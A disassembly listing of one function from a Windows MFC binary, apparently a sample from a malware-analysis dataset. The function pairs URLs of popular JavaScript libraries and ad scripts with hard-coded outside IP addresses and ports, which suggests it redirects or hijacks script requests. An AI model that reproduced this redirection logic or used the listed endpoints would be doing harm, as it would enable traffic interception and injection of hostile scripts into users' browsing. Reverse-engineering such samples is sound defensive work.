Function at 0x402840
Capabilities:
Accept command line arguments

Disassembly:
push 0xffffffffffffffff
push 0x42ad70
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x437dac]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00404c0d
test eax, eax
jne 0x4028bc
push str.Fatal_Error:_MFC_initialization_failed
push 0x43bd98
call fcn.00402500
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402710
mov ecx, esi
call fcn.00402350
mov esi, 1
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret
call fcn.00404945
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x4028d6
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc], eax
mov dword [esp + 0x20], esi
call fcn.00404945
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x402904
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 8], eax
mov byte [esp + 0x20], 1
call fcn.00404945
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x402933
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0x20], 2
call fcn.00404945
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x402962
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push 4
push str.test
lea ecx, [esp + 0x1c]
mov byte [esp + 0x28], 3
call fcn.00401660
push 4
push str.test
lea ecx, [esp + 0x18]
call fcn.00401660
push 0xa2
push str.http:__a.tbcdn.cn_s_kissy_1.1.6___kissy_min.js_suggest_suggest_pkg_min.js_datalazyload_datalazyload_pkg_min.js_uibase_uibase_pkg_min.js_overlay_overlay_pkg_min.js
lea ecx, [esp + 0x14]
call fcn.00401660
push 0x14
push str.116.255.180.120:8812
lea ecx, [esp + 0x10]
call fcn.00401660
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00401f00
add esp, 0x10
push 0x19
push str.http:__a.tbcdn.cn_s_ac.js
lea ecx, [esp + 0x14]
call fcn.00401660
push 0x14
push str.116.255.180.120:8812
lea ecx, [esp + 0x10]
call fcn.00401660
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00401f00
add esp, 0x10
push 0x39
push str.http:__www.baidu.com_cache_global_js_tangram_1.3.4c1.0.js
lea ecx, [esp + 0x14]
call fcn.00401660
push 0x14
push str.116.255.180.120:8812
lea ecx, [esp + 0x10]
call fcn.00401660
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00401f00
add esp, 0x10
push 0x41
push str.http:__s1.bdstatic.com_r_www_cache_global_js_tangram_1.3.4c1.0.js
lea ecx, [esp + 0x14]
call fcn.00401660
push 0x14
push str.116.255.180.120:8812
lea ecx, [esp + 0x10]
call fcn.00401660
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00401f00
add esp, 0x10
push 0x37
push str.http:__pagead2.googlesyndication.com_pagead_show_ads.js
lea ecx, [esp + 0x14]
call fcn.00401660
push 0x14
push str.114.108.165.189:8088
lea ecx, [esp + 0x10]
call fcn.00401660
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00401f00
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 0x10
mov byte [esp + 0x20], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402aeb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x20], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402b10
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 8]
add eax, 0xfffffff0
mov byte [esp + 0x20], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402b35
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x20], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402b5d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x1c
ret